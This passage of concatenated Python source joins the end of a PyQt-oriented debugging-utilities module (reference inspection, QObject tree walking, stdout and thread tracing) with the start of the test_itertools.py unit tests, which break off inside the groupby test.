elif a == 'l': def slen(o): if hasattr(o, '__len__'): return len(o) else: return None print(list(map(slen, refs))) elif a == 'o': print(obj) elif a == 'ro': return obj elif a == 'rr': return refs def allFrameObjs(): """Return list of frame objects in current stack. Useful if you want to ignore these objects in refernece searches""" f = sys._getframe() objs = [] while f is not None: objs.append(f) objs.append(f.f_code) #objs.append(f.f_locals) #objs.append(f.f_globals) #objs.append(f.f_builtins) f = f.f_back return objs def findObj(regex): """Return a list of objects whose typeStr matches regex""" allObjs = get_all_objects() objs = [] r = re.compile(regex) for i in allObjs: obj = allObjs[i] if r.search(typeStr(obj)): objs.append(obj) return objs def listRedundantModules(): """List modules that have been imported more than once via different paths.""" mods = {} for name, mod in sys.modules.items(): if not hasattr(mod, '__file__'): continue mfile = os.path.abspath(mod.__file__) if mfile[-1] == 'c': mfile = mfile[:-1] if mfile in mods: print("module at %s has 2 names: %s, %s" % (mfile, name, mods[mfile])) else: mods[mfile] = name def walkQObjectTree(obj, counts=None, verbose=False, depth=0): """ Walk through a tree of QObjects, doing nothing to them. The purpose of this function is to find dead objects and generate a crash immediately rather than stumbling upon them later. Prints a count of the objects encountered, for fun. (or is it?) """ if verbose: print(" "*depth + typeStr(obj)) report = False if counts is None: counts = {} report = True typ = str(type(obj)) try: counts[typ] += 1 except KeyError: counts[typ] = 1 for child in obj.children(): walkQObjectTree(child, counts, verbose, depth+1) return counts QObjCache = {} def qObjectReport(verbose=False): """Generate a report counting all QObjects and their types""" global qObjCache count = {} for obj in findObj('PyQt'): if isinstance(obj, QtCore.QObject): oid = id(obj) if oid not in QObjCache: QObjCache[oid] = typeStr(obj) + " " + obj.objectName() try: QObjCache[oid] += " " + obj.parent().objectName() QObjCache[oid] += " " + obj.text() except: pass print("check obj", oid, str(QObjCache[oid])) if obj.parent() is None: walkQObjectTree(obj, count, verbose) typs = list(count.keys()) typs.sort() for t in typs: print(count[t], "\t", t) class PrintDetector(object): """Find code locations that print to stdout.""" def __init__(self): self.stdout = sys.stdout sys.stdout = self def remove(self): sys.stdout = self.stdout def __del__(self): self.remove() def write(self, x): self.stdout.write(x) traceback.print_stack() def flush(self): self.stdout.flush() def listQThreads(): """Prints Thread IDs (Qt's, not OS's) for all QThreads.""" thr = findObj('[Tt]hread') thr = [t for t in thr if isinstance(t, QtCore.QThread)] import sip for t in thr: print("--> ", t) print(" Qt ID: 0x%x" % sip.unwrapinstance(t)) def pretty(data, indent=''): """Format nested dict/list/tuple structures into a more human-readable string This function is a bit better than pprint for displaying OrderedDicts. """ ret = "" ind2 = indent + " " if isinstance(data, dict): ret = indent+"{\n" for k, v in data.iteritems(): ret += ind2 + repr(k) + ": " + pretty(v, ind2).strip() + "\n" ret += indent+"}\n" elif isinstance(data, list) or isinstance(data, tuple): s = repr(data) if len(s) < 40: ret += indent + s else: if isinstance(data, list): d = '[]' else: d = '()' ret = indent+d[0]+"\n" for i, v in enumerate(data): ret += ind2 + str(i) + ": " + pretty(v, ind2).strip() + "\n" ret += indent+d[1]+"\n" else: ret += indent + repr(data) return ret class ThreadTrace(object): """ Used to debug freezing by starting a new thread that reports on the location of other threads periodically. """ def __init__(self, interval=10.0): self.interval = interval self.lock = Mutex() self._stop = False self.start() def stop(self): with self.lock: self._stop = True def start(self, interval=None): if interval is not None: self.interval = interval self._stop = False self.thread = threading.Thread(target=self.run) self.thread.daemon = True self.thread.start() def run(self): while True: with self.lock: if self._stop is True: return print("\n============= THREAD FRAMES: ================") for id, frame in sys._current_frames().items(): if id == threading.current_thread().ident: continue print("<< thread %d >>" % id) traceback.print_stack(frame) print("===============================================\n") time.sleep(self.interval) class ThreadColor(object): """ Wrapper on stdout/stderr that colors text by the current thread ID. *stream* must be 'stdout' or 'stderr'. """ colors = {} lock = Mutex() def __init__(self, stream): self.stream = getattr(sys, stream) self.err = stream == 'stderr' setattr(sys, stream, self) def write(self, msg): with self.lock: cprint.cprint(self.stream, self.color(), msg, -1, stderr=self.err) def flush(self): with self.lock: self.stream.flush() def color(self): tid = threading.current_thread() if tid not in self.colors: c = (len(self.colors) % 15) + 1 self.colors[tid] = c return self.colors[tid]
test_itertools.py
import unittest from test import support from itertools import * import weakref from decimal import Decimal from fractions import Fraction import operator import random import copy import pickle from functools import reduce import sys import struct import threading import gc maxsize = support.MAX_Py_ssize_t minsize = -maxsize-1 def lzip(*args): return list(zip(*args)) def onearg(x): 'Test function of one argument' return 2*x def errfunc(*args): 'Test function that raises an error' raise ValueError def gen3(): 'Non-restartable source sequence' for i in (0, 1, 2): yield i def isEven(x): 'Test predicate' return x%2==0 def isOdd(x): 'Test predicate' return x%2==1 def tupleize(*args): return args def irange(n): for i in range(n): yield i class StopNow: 'Class emulating an empty iterable.' def __iter__(self): return self def __next__(self): raise StopIteration def take(n, seq): 'Convenience function for partially consuming a long of infinite iterable' return list(islice(seq, n)) def prod(iterable): return reduce(operator.mul, iterable, 1) def fact(n): 'Factorial' return prod(range(1, n+1)) # root level methods for pickling ability def testR(r): return r[0] def testR2(r): return r[2] def underten(x): return x<10 picklecopiers = [lambda s, proto=proto: pickle.loads(pickle.dumps(s, proto)) for proto in range(pickle.HIGHEST_PROTOCOL + 1)] class TestBasicOps(unittest.TestCase): def pickletest(self, protocol, it, stop=4, take=1, compare=None): """Test that an iterator is the same after pickling, also when part-consumed""" def expand(it, i=0): # Recursively expand iterables, within sensible bounds if i > 10: raise RuntimeError("infinite recursion encountered") if isinstance(it, str): return it try: l = list(islice(it, stop)) except TypeError: return it # can't expand it return [expand(e, i+1) for e in l] # Test the initial copy against the original dump = pickle.dumps(it, protocol) i2 = pickle.loads(dump) self.assertEqual(type(it), type(i2)) a, b = expand(it), expand(i2) self.assertEqual(a, b) if compare: c = expand(compare) self.assertEqual(a, c) # Take from the copy, and create another copy and compare them. i3 = pickle.loads(dump) took = 0 try: for i in range(take): next(i3) took += 1 except StopIteration: pass #in case there is less data than 'take' dump = pickle.dumps(i3, protocol) i4 = pickle.loads(dump) a, b = expand(i3), expand(i4) self.assertEqual(a, b) if compare: c = expand(compare[took:]) self.assertEqual(a, c); def test_accumulate(self): self.assertEqual(list(accumulate(range(10))), # one positional arg [0, 1, 3, 6, 10, 15, 21, 28, 36, 45]) self.assertEqual(list(accumulate(iterable=range(10))), # kw arg [0, 1, 3, 6, 10, 15, 21, 28, 36, 45]) for typ in int, complex, Decimal, Fraction: # multiple types self.assertEqual( list(accumulate(map(typ, range(10)))), list(map(typ, [0, 1, 3, 6, 10, 15, 21, 28, 36, 45]))) self.assertEqual(list(accumulate('abc')), ['a', 'ab', 'abc']) # works with non-numeric self.assertEqual(list(accumulate([])), []) # empty iterable self.assertEqual(list(accumulate([7])), [7]) # iterable of length one self.assertRaises(TypeError, accumulate, range(10), 5, 6) # too many args self.assertRaises(TypeError, accumulate) # too few args self.assertRaises(TypeError, accumulate, x=range(10)) # unexpected kwd arg self.assertRaises(TypeError, list, accumulate([1, []])) # args that don't add s = [2, 8, 9, 5, 7, 0, 3, 4, 1, 6] self.assertEqual(list(accumulate(s, min)), [2, 2, 2, 2, 2, 0, 0, 0, 0, 0]) self.assertEqual(list(accumulate(s, max)), [2, 8, 9, 9, 9, 9, 9, 9, 9, 9]) self.assertEqual(list(accumulate(s, operator.mul)), [2, 16, 144, 720, 5040, 0, 0, 0, 0, 0]) with self.assertRaises(TypeError): list(accumulate(s, chr)) # unary-operation for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, accumulate(range(10))) # test pickling self.pickletest(proto, accumulate(range(10), initial=7)) self.assertEqual(list(accumulate([10, 5, 1], initial=None)), [10, 15, 16]) self.assertEqual(list(accumulate([10, 5, 1], initial=100)), [100, 110, 115, 116]) self.assertEqual(list(accumulate([], initial=100)), [100]) with self.assertRaises(TypeError): list(accumulate([10, 20], 100)) def test_chain(self): def chain2(*iterables): 'Pure python version in the docs' for it in iterables: for element in it: yield element for c in (chain, chain2): self.assertEqual(list(c('abc', 'def')), list('abcdef')) self.assertEqual(list(c('abc')), list('abc')) self.assertEqual(list(c('')), []) self.assertEqual(take(4, c('abc', 'def')), list('abcd')) self.assertRaises(TypeError, list,c(2, 3)) def test_chain_from_iterable(self): self.assertEqual(list(chain.from_iterable(['abc', 'def'])), list('abcdef')) self.assertEqual(list(chain.from_iterable(['abc'])), list('abc')) self.assertEqual(list(chain.from_iterable([''])), []) self.assertEqual(take(4, chain.from_iterable(['abc', 'def'])), list('abcd')) self.assertRaises(TypeError, list, chain.from_iterable([2, 3])) def test_chain_reducible(self): for oper in [copy.deepcopy] + picklecopiers: it = chain('abc', 'def') self.assertEqual(list(oper(it)), list('abcdef')) self.assertEqual(next(it), 'a') self.assertEqual(list(oper(it)), list('bcdef')) self.assertEqual(list(oper(chain(''))), []) self.assertEqual(take(4, oper(chain('abc', 'def'))), list('abcd')) self.assertRaises(TypeError, list, oper(chain(2, 3))) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, chain('abc', 'def'), compare=list('abcdef')) def test_chain_setstate(self): self.assertRaises(TypeError, chain().__setstate__, ()) self.assertRaises(TypeError, chain().__setstate__, []) self.assertRaises(TypeError, chain().__setstate__, 0) self.assertRaises(TypeError, chain().__setstate__, ([],)) self.assertRaises(TypeError, chain().__setstate__, (iter([]), [])) it = chain() it.__setstate__((iter(['abc', 'def']),)) self.assertEqual(list(it), ['a', 'b', 'c', 'd', 'e', 'f']) it = chain() it.__setstate__((iter(['abc', 'def']), iter(['ghi']))) self.assertEqual(list(it), ['ghi', 'a', 'b', 'c', 'd', 'e', 'f']) def test_combinations(self): self.assertRaises(TypeError, combinations, 'abc') # missing r argument self.assertRaises(TypeError, combinations, 'abc', 2, 1) # too many arguments self.assertRaises(TypeError, combinations, None) # pool is not iterable self.assertRaises(ValueError, combinations, 'abc', -2) # r is negative for op in [lambda a:a] + picklecopiers: self.assertEqual(list(op(combinations('abc', 32))), []) # r > n self.assertEqual(list(op(combinations('ABCD', 2))), [('A','B'), ('A','C'), ('A','D'), ('B','C'), ('B','D'), ('C','D')]) testIntermediate = combinations('ABCD', 2) next(testIntermediate) self.assertEqual(list(op(testIntermediate)), [('A','C'), ('A','D'), ('B','C'), ('B','D'), ('C','D')]) self.assertEqual(list(op(combinations(range(4), 3))), [(0,1,2), (0,1,3), (0,2,3), (1,2,3)]) testIntermediate = combinations(range(4), 3) next(testIntermediate) self.assertEqual(list(op(testIntermediate)), [(0,1,3), (0,2,3), (1,2,3)]) def combinations1(iterable, r): 'Pure python version shown in the docs' pool = tuple(iterable) n = len(pool) if r > n: return indices = list(range(r)) yield tuple(pool[i] for i in indices) while 1: for i in reversed(range(r)): if indices[i] != i + n - r: break else: return indices[i] += 1 for j in range(i+1, r): indices[j] = indices[j-1] + 1 yield tuple(pool[i] for i in indices) def combinations2(iterable, r): 'Pure python version shown in the docs' pool = tuple(iterable) n = len(pool) for indices in permutations(range(n), r): if sorted(indices) == list(indices): yield tuple(pool[i] for i in indices) def combinations3(iterable, r): 'Pure python version from cwr()' pool = tuple(iterable) n = len(pool) for indices in combinations_with_replacement(range(n), r): if len(set(indices)) == r: yield tuple(pool[i] for i in indices) for n in range(7): values = [5*x-12 for x in range(n)] for r in range(n+2): result = list(combinations(values, r)) self.assertEqual(len(result), 0 if r>n else fact(n) / fact(r) / fact(n-r)) # right number of combs self.assertEqual(len(result), len(set(result))) # no repeats self.assertEqual(result, sorted(result)) # lexicographic order for c in result: self.assertEqual(len(c), r) # r-length combinations self.assertEqual(len(set(c)), r) # no duplicate elements self.assertEqual(list(c), sorted(c)) # keep original ordering self.assertTrue(all(e in values for e in c)) # elements taken from input iterable self.assertEqual(list(c), [e for e in values if e in c]) # comb is a subsequence of the input iterable self.assertEqual(result, list(combinations1(values, r))) # matches first pure python version self.assertEqual(result, list(combinations2(values, r))) # matches second pure python version self.assertEqual(result, list(combinations3(values, r))) # matches second pure python version for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, combinations(values, r)) # test pickling @support.bigaddrspacetest def test_combinations_overflow(self): with self.assertRaises((OverflowError, MemoryError)): combinations("AA", 2**29) # Test implementation detail: tuple re-use @support.impl_detail("tuple reuse is specific to CPython") def test_combinations_tuple_reuse(self): self.assertEqual(len(set(map(id, combinations('abcde', 3)))), 1) self.assertNotEqual(len(set(map(id, list(combinations('abcde', 3))))), 1) def test_combinations_with_replacement(self): cwr = combinations_with_replacement self.assertRaises(TypeError, cwr, 'abc') # missing r argument self.assertRaises(TypeError, cwr, 'abc', 2, 1) # too many arguments self.assertRaises(TypeError, cwr, None) # pool is not iterable self.assertRaises(ValueError, cwr, 'abc', -2) # r is negative for op in [lambda a:a] + picklecopiers: self.assertEqual(list(op(cwr('ABC', 2))), [('A','A'), ('A','B'), ('A','C'), ('B','B'), ('B','C'), ('C','C')]) testIntermediate = cwr('ABC', 2) next(testIntermediate) self.assertEqual(list(op(testIntermediate)), [('A','B'), ('A','C'), ('B','B'), ('B','C'), ('C','C')]) def cwr1(iterable, r): 'Pure python version shown in the docs' # number items returned: (n+r-1)! / r! / (n-1)! when n>0 pool = tuple(iterable) n = len(pool) if not n and r: return indices = [0] * r yield tuple(pool[i] for i in indices) while 1: for i in reversed(range(r)): if indices[i] != n - 1: break else: return indices[i:] = [indices[i] + 1] * (r - i) yield tuple(pool[i] for i in indices) def cwr2(iterable, r): 'Pure python version shown in the docs' pool = tuple(iterable) n = len(pool) for indices in product(range(n), repeat=r): if sorted(indices) == list(indices): yield tuple(pool[i] for i in indices) def numcombs(n, r): if not n: return 0 if r else 1 return fact(n+r-1) / fact(r)/ fact(n-1) for n in range(7): values = [5*x-12 for x in range(n)] for r in range(n+2): result = list(cwr(values, r)) self.assertEqual(len(result), numcombs(n, r)) # right number of combs self.assertEqual(len(result), len(set(result))) # no repeats self.assertEqual(result, sorted(result)) # lexicographic order regular_combs = list(combinations(values, r)) # compare to combs without replacement if n == 0 or r <= 1: self.assertEqual(result, regular_combs) # cases that should be identical else: self.assertTrue(set(result) >= set(regular_combs)) # rest should be supersets of regular combs for c in result: self.assertEqual(len(c), r) # r-length combinations noruns = [k for k,v in groupby(c)] # combo without consecutive repeats self.assertEqual(len(noruns), len(set(noruns))) # no repeats other than consecutive self.assertEqual(list(c), sorted(c)) # keep original ordering self.assertTrue(all(e in values for e in c)) # elements taken from input iterable self.assertEqual(noruns, [e for e in values if e in c]) # comb is a subsequence of the input iterable self.assertEqual(result, list(cwr1(values, r))) # matches first pure python version self.assertEqual(result, list(cwr2(values, r))) # matches second pure python version for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, cwr(values,r)) # test pickling @support.bigaddrspacetest def test_combinations_with_replacement_overflow(self): with self.assertRaises((OverflowError, MemoryError)): combinations_with_replacement("AA", 2**30) # Test implementation detail: tuple re-use @support.impl_detail("tuple reuse is specific to CPython") def test_combinations_with_replacement_tuple_reuse(self): cwr = combinations_with_replacement self.assertEqual(len(set(map(id, cwr('abcde', 3)))), 1) self.assertNotEqual(len(set(map(id, list(cwr('abcde', 3))))), 1) def test_permutations(self): self.assertRaises(TypeError, permutations) # too few arguments self.assertRaises(TypeError, permutations, 'abc', 2, 1) # too many arguments self.assertRaises(TypeError, permutations, None) # pool is not iterable self.assertRaises(ValueError, permutations, 'abc', -2) # r is negative self.assertEqual(list(permutations('abc', 32)), []) # r > n self.assertRaises(TypeError, permutations, 'abc', 's') # r is not an int or None self.assertEqual(list(permutations(range(3), 2)), [(0,1), (0,2), (1,0), (1,2), (2,0), (2,1)]) def permutations1(iterable, r=None): 'Pure python version shown in the docs' pool = tuple(iterable) n = len(pool) r = n if r is None else r if r > n: return indices = list(range(n)) cycles = list(range(n-r+1, n+1))[::-1] yield tuple(pool[i] for i in indices[:r]) while n: for i in reversed(range(r)): cycles[i] -= 1 if cycles[i] == 0: indices[i:] = indices[i+1:] + indices[i:i+1] cycles[i] = n - i else: j = cycles[i] indices[i], indices[-j] = indices[-j], indices[i] yield tuple(pool[i] for i in indices[:r]) break else: return def permutations2(iterable, r=None): 'Pure python version shown in the docs' pool = tuple(iterable) n = len(pool) r = n if r is None else r for indices in product(range(n), repeat=r): if len(set(indices)) == r: yield tuple(pool[i] for i in indices) for n in range(7): values = [5*x-12 for x in range(n)] for r in range(n+2): result = list(permutations(values, r)) self.assertEqual(len(result), 0 if r>n else fact(n) / fact(n-r)) # right number of perms self.assertEqual(len(result), len(set(result))) # no repeats self.assertEqual(result, sorted(result)) # lexicographic order for p in result: self.assertEqual(len(p), r) # r-length permutations self.assertEqual(len(set(p)), r) # no duplicate elements self.assertTrue(all(e in values for e in p)) # elements taken from input iterable self.assertEqual(result, list(permutations1(values, r))) # matches first pure python version self.assertEqual(result, list(permutations2(values, r))) # matches second pure python version if r == n: self.assertEqual(result, list(permutations(values, None))) # test r as None self.assertEqual(result, list(permutations(values))) # test default r for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, permutations(values, r)) # test pickling @support.bigaddrspacetest def test_permutations_overflow(self): with self.assertRaises((OverflowError, MemoryError)): permutations("A", 2**30) @support.impl_detail("tuple reuse is specific to CPython") def test_permutations_tuple_reuse(self): self.assertEqual(len(set(map(id, permutations('abcde', 3)))), 1) self.assertNotEqual(len(set(map(id, list(permutations('abcde', 3))))), 1) def test_combinatorics(self): # Test relationships between product(), permutations(), # combinations() and combinations_with_replacement(). for n in range(6): s = 'ABCDEFG'[:n] for r in range(8): prod = list(product(s, repeat=r)) cwr = list(combinations_with_replacement(s, r)) perm = list(permutations(s, r)) comb = list(combinations(s, r)) # Check size self.assertEqual(len(prod), n**r) self.assertEqual(len(cwr), (fact(n+r-1) / fact(r)/ fact(n-1)) if n else (not r)) self.assertEqual(len(perm), 0 if r>n else fact(n) / fact(n-r)) self.assertEqual(len(comb), 0 if r>n else fact(n) / fact(r) / fact(n-r)) # Check lexicographic order without repeated tuples self.assertEqual(prod, sorted(set(prod))) self.assertEqual(cwr, sorted(set(cwr))) self.assertEqual(perm, sorted(set(perm))) self.assertEqual(comb, sorted(set(comb))) # Check interrelationships self.assertEqual(cwr, [t for t in prod if sorted(t)==list(t)]) # cwr: prods which are sorted self.assertEqual(perm, [t for t in prod if len(set(t))==r]) # perm: prods with no dups self.assertEqual(comb, [t for t in perm if sorted(t)==list(t)]) # comb: perms that are sorted self.assertEqual(comb, [t for t in cwr if len(set(t))==r]) # comb: cwrs without dups self.assertEqual(comb, list(filter(set(cwr).__contains__, perm))) # comb: perm that is a cwr self.assertEqual(comb, list(filter(set(perm).__contains__, cwr))) # comb: cwr that is a perm self.assertEqual(comb, sorted(set(cwr) & set(perm))) # comb: both a cwr and a perm def test_compress(self): self.assertEqual(list(compress(data='ABCDEF', selectors=[1,0,1,0,1,1])), list('ACEF')) self.assertEqual(list(compress('ABCDEF', [1,0,1,0,1,1])), list('ACEF')) self.assertEqual(list(compress('ABCDEF', [0,0,0,0,0,0])), list('')) self.assertEqual(list(compress('ABCDEF', [1,1,1,1,1,1])), list('ABCDEF')) self.assertEqual(list(compress('ABCDEF', [1,0,1])), list('AC')) self.assertEqual(list(compress('ABC', [0,1,1,1,1,1])), list('BC')) n = 10000 data = chain.from_iterable(repeat(range(6), n)) selectors = chain.from_iterable(repeat((0, 1))) self.assertEqual(list(compress(data, selectors)), [1,3,5] * n) self.assertRaises(TypeError, compress, None, range(6)) # 1st arg not iterable self.assertRaises(TypeError, compress, range(6), None) # 2nd arg not iterable self.assertRaises(TypeError, compress, range(6)) # too few args self.assertRaises(TypeError, compress, range(6), None) # too many args # check copy, deepcopy, pickle for op in [lambda a:copy.copy(a), lambda a:copy.deepcopy(a)] + picklecopiers: for data, selectors, result1, result2 in [ ('ABCDEF', [1,0,1,0,1,1], 'ACEF', 'CEF'), ('ABCDEF', [0,0,0,0,0,0], '', ''), ('ABCDEF', [1,1,1,1,1,1], 'ABCDEF', 'BCDEF'), ('ABCDEF', [1,0,1], 'AC', 'C'), ('ABC', [0,1,1,1,1,1], 'BC', 'C'), ]: self.assertEqual(list(op(compress(data=data, selectors=selectors))), list(result1)) self.assertEqual(list(op(compress(data, selectors))), list(result1)) testIntermediate = compress(data, selectors) if result1: next(testIntermediate) self.assertEqual(list(op(testIntermediate)), list(result2)) def test_count(self): self.assertEqual(lzip('abc',count()), [('a', 0), ('b', 1), ('c', 2)]) self.assertEqual(lzip('abc',count(3)), [('a', 3), ('b', 4), ('c', 5)]) self.assertEqual(take(2, lzip('abc',count(3))), [('a', 3), ('b', 4)]) self.assertEqual(take(2, zip('abc',count(-1))), [('a', -1), ('b', 0)]) self.assertEqual(take(2, zip('abc',count(-3))), [('a', -3), ('b', -2)]) self.assertRaises(TypeError, count, 2, 3, 4) self.assertRaises(TypeError, count, 'a') self.assertEqual(take(10, count(maxsize-5)), list(range(maxsize-5, maxsize+5))) self.assertEqual(take(10, count(-maxsize-5)), list(range(-maxsize-5, -maxsize+5))) self.assertEqual(take(3, count(3.25)), [3.25, 4.25, 5.25]) self.assertEqual(take(3, count(3.25-4j)), [3.25-4j, 4.25-4j, 5.25-4j]) self.assertEqual(take(3, count(Decimal('1.1'))), [Decimal('1.1'), Decimal('2.1'), Decimal('3.1')]) self.assertEqual(take(3, count(Fraction(2, 3))), [Fraction(2, 3), Fraction(5, 3), Fraction(8, 3)]) BIGINT = 1<<1000 self.assertEqual(take(3, count(BIGINT)), [BIGINT, BIGINT+1, BIGINT+2]) c = count(3) self.assertEqual(repr(c), 'count(3)') next(c) self.assertEqual(repr(c), 'count(4)') c = count(-9) self.assertEqual(repr(c), 'count(-9)') next(c) self.assertEqual(next(c), -8) self.assertEqual(repr(count(10.25)), 'count(10.25)') self.assertEqual(repr(count(10.0)), 'count(10.0)') self.assertEqual(type(next(count(10.0))), float) for i in (-sys.maxsize-5, -sys.maxsize+5 ,-10, -1, 0, 10, sys.maxsize-5, sys.maxsize+5): # Test repr r1 = repr(count(i)) r2 = 'count(%r)'.__mod__(i) self.assertEqual(r1, r2) # check copy, deepcopy, pickle for value in -3, 3, maxsize-5, maxsize+5: c = count(value) self.assertEqual(next(copy.copy(c)), value) self.assertEqual(next(copy.deepcopy(c)), value) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, count(value)) #check proper internal error handling for large "step' sizes count(1, maxsize+5); sys.exc_info() def test_count_with_stride(self): self.assertEqual(lzip('abc',count(2,3)), [('a', 2), ('b', 5), ('c', 8)]) self.assertEqual(lzip('abc',count(start=2,step=3)), [('a', 2), ('b', 5), ('c', 8)]) self.assertEqual(lzip('abc',count(step=-1)), [('a', 0), ('b', -1), ('c', -2)]) self.assertRaises(TypeError, count, 'a', 'b') self.assertEqual(lzip('abc',count(2,0)), [('a', 2), ('b', 2), ('c', 2)]) self.assertEqual(lzip('abc',count(2,1)), [('a', 2), ('b', 3), ('c', 4)]) self.assertEqual(lzip('abc',count(2,3)), [('a', 2), ('b', 5), ('c', 8)]) self.assertEqual(take(20, count(maxsize-15, 3)), take(20, range(maxsize-15, maxsize+100, 3))) self.assertEqual(take(20, count(-maxsize-15, 3)), take(20, range(-maxsize-15,-maxsize+100, 3))) self.assertEqual(take(3, count(10, maxsize+5)), list(range(10, 10+3*(maxsize+5), maxsize+5))) self.assertEqual(take(3, count(2, 1.25)), [2, 3.25, 4.5]) self.assertEqual(take(3, count(2, 3.25-4j)), [2, 5.25-4j, 8.5-8j]) self.assertEqual(take(3, count(Decimal('1.1'), Decimal('.1'))), [Decimal('1.1'), Decimal('1.2'), Decimal('1.3')]) self.assertEqual(take(3, count(Fraction(2,3), Fraction(1,7))), [Fraction(2,3), Fraction(17,21), Fraction(20,21)]) BIGINT = 1<<1000 self.assertEqual(take(3, count(step=BIGINT)), [0, BIGINT, 2*BIGINT]) self.assertEqual(repr(take(3, count(10, 2.5))), repr([10, 12.5, 15.0])) c = count(3, 5) self.assertEqual(repr(c), 'count(3, 5)') next(c) self.assertEqual(repr(c), 'count(8, 5)') c = count(-9, 0) self.assertEqual(repr(c), 'count(-9, 0)') next(c) self.assertEqual(repr(c), 'count(-9, 0)') c = count(-9, -3) self.assertEqual(repr(c), 'count(-9, -3)') next(c) self.assertEqual(repr(c), 'count(-12, -3)') self.assertEqual(repr(c), 'count(-12, -3)') self.assertEqual(repr(count(10.5, 1.25)), 'count(10.5, 1.25)') self.assertEqual(repr(count(10.5, 1)), 'count(10.5)') # suppress step=1 when it's an int self.assertEqual(repr(count(10.5, 1.00)), 'count(10.5, 1.0)') # do show float values lilke 1.0 self.assertEqual(repr(count(10, 1.00)), 'count(10, 1.0)') c = count(10, 1.0) self.assertEqual(type(next(c)), int) self.assertEqual(type(next(c)), float) for i in (-sys.maxsize-5, -sys.maxsize+5 ,-10, -1, 0, 10, sys.maxsize-5, sys.maxsize+5): for j in (-sys.maxsize-5, -sys.maxsize+5 ,-10, -1, 0, 1, 10, sys.maxsize-5, sys.maxsize+5): # Test repr r1 = repr(count(i, j)) if j == 1: r2 = ('count(%r)' % i) else: r2 = ('count(%r, %r)' % (i, j)) self.assertEqual(r1, r2) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, count(i, j)) def test_cycle(self): self.assertEqual(take(10, cycle('abc')), list('abcabcabca')) self.assertEqual(list(cycle('')), []) self.assertRaises(TypeError, cycle) self.assertRaises(TypeError, cycle, 5) self.assertEqual(list(islice(cycle(gen3()),10)), [0,1,2,0,1,2,0,1,2,0]) # check copy, deepcopy, pickle c = cycle('abc') self.assertEqual(next(c), 'a') #simple copy currently not supported, because __reduce__ returns #an internal iterator #self.assertEqual(take(10, copy.copy(c)), list('bcabcabcab')) self.assertEqual(take(10, copy.deepcopy(c)), list('bcabcabcab')) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.assertEqual(take(10, pickle.loads(pickle.dumps(c, proto))), list('bcabcabcab')) next(c) self.assertEqual(take(10, pickle.loads(pickle.dumps(c, proto))), list('cabcabcabc')) next(c) next(c) for proto in range(pickle.HIGHEST_PROTOCOL + 1): self.pickletest(proto, cycle('abc')) for proto in range(pickle.HIGHEST_PROTOCOL + 1): # test with partial consumed input iterable it = iter('abcde') c = cycle(it) _ = [next(c) for i in range(2)] # consume 2 of 5 inputs p = pickle.dumps(c, proto) d = pickle.loads(p) # rebuild the cycle object self.assertEqual(take(20, d), list('cdeabcdeabcdeabcdeab')) # test with completely consumed input iterable it = iter('abcde') c = cycle(it) _ = [next(c) for i in range(7)] # consume 7 of 5 inputs p = pickle.dumps(c, proto) d = pickle.loads(p) # rebuild the cycle object self.assertEqual(take(20, d), list('cdeabcdeabcdeabcdeab')) def test_cycle_setstate(self): # Verify both modes for restoring state # Mode 0 is efficient. It uses an incompletely consumed input # iterator to build a cycle object and then passes in state with # a list of previously consumed values. There is no data # overlap between the two. c = cycle('defg') c.__setstate__((list('abc'), 0)) self.assertEqual(take(20, c), list('defgabcdefgabcdefgab')) # Mode 1 is inefficient. It starts with a cycle object built # from an iterator over the remaining elements in a partial # cycle and then passes in state with all of the previously # seen values (this overlaps values included in the iterator). c = cycle('defg') c.__setstate__((list('abcdefg'), 1)) self.assertEqual(take(20, c), list('defgabcdefgabcdefgab')) # The first argument to setstate needs to be a tuple with self.assertRaises(TypeError): cycle('defg').__setstate__([list('abcdefg'), 0]) # The first argument in the setstate tuple must be a list with self.assertRaises(TypeError): c = cycle('defg') c.__setstate__((tuple('defg'), 0)) take(20, c) # The second argument in the setstate tuple must be an int with self.assertRaises(TypeError): cycle('defg').__setstate__((list('abcdefg'), 'x')) self.assertRaises(TypeError, cycle('').__setstate__, ()) self.assertRaises(TypeError, cycle('').__setstate__, ([],)) def test_groupby(self): # Check whether it accepts arguments correctly self.assertEqual([], list(groupby([]))) self.assertEqual([], list(groupby([], key=id))) self.assertRaises(TypeError, list, groupby('abc', [])) self.assertRaises(TypeError, groupby, None) self.assertRaises(TypeError, groupby, 'abc', lambda x:x, 10) # Check normal input s = [(0, 10, 20), (0, 11,21), (0,12,21), (1,13,21), (1,14,22), (2,15,22), (3,16,23), (3,17,23)] dup = [] for k, g in groupby(s, lambda r:r[0]): for elem in g: self.assertEqual(k, elem[0]) dup.append(elem) self.assertEqual(s, dup) # Check normal pickled for proto in range(pickle.HIGHEST_PROTOCOL + 1): dup = [] for k, g in pickle.loads(pickle.dumps(groupby(s, testR), proto)): for elem in g: self.assertEqual(k, elem[0]) dup.append(elem) self.assertEqual(s, dup) # Check nested case dup = [] for k, g in groupby(s, testR): for ik, ig in groupby(g, testR2): for elem in ig: self.assertEqual(k, elem[0]) self.assertEqual(ik, elem[2]) dup.append(elem) self.assertEqual(s, dup) # Check nested and pickled for proto in range(pickle.HIGHEST_PROTOCOL + 1): dup = [] for k, g in pickle.loads(pickle.dumps(groupby(s, testR), proto)): for ik, ig in pickle.loads(pickle.dumps(groupby(g, testR2), proto)): for elem in ig: self.assertEqual(k, elem[0]) self.assertEqual(ik, elem[2]) dup.append(elem) self.assertEqual(s, dup) # Check case where inner iterator is not used keys = [k for k, g in groupby(s, testR)] expectedkeys = set([r[0] for r in s]) self.assertEqual(set(keys), expectedkeys) self.assertEqual(len(keys), len(expectedkeys)) # Check case where inner iterator is used after advancing the groupby # iterator s = list(zip('AABBBAAAA', range(9))) it = groupby(s, testR) _, g1 = next(it) _, g2 = next(it) _, g3 = next(it) self.assertEqual(list(g1), []) self.assertEqual(list(g2), []) self.assertEqual(next(g3), ('A', 5)) list(it) # exhaust the groupby iterator self.assertEqual(list(g3), []) for proto in range(pickle.HIGHEST_PROTOCOL + 1): it = groupby(s, testR) _, g = next(it) next(it) next(it) self.assertEqual(list(pickle.loads(pickle.dumps(g, proto))), []) # Exercise pipes and filters style s = 'abracadabra' # sort s | uniq r = [k for k, g 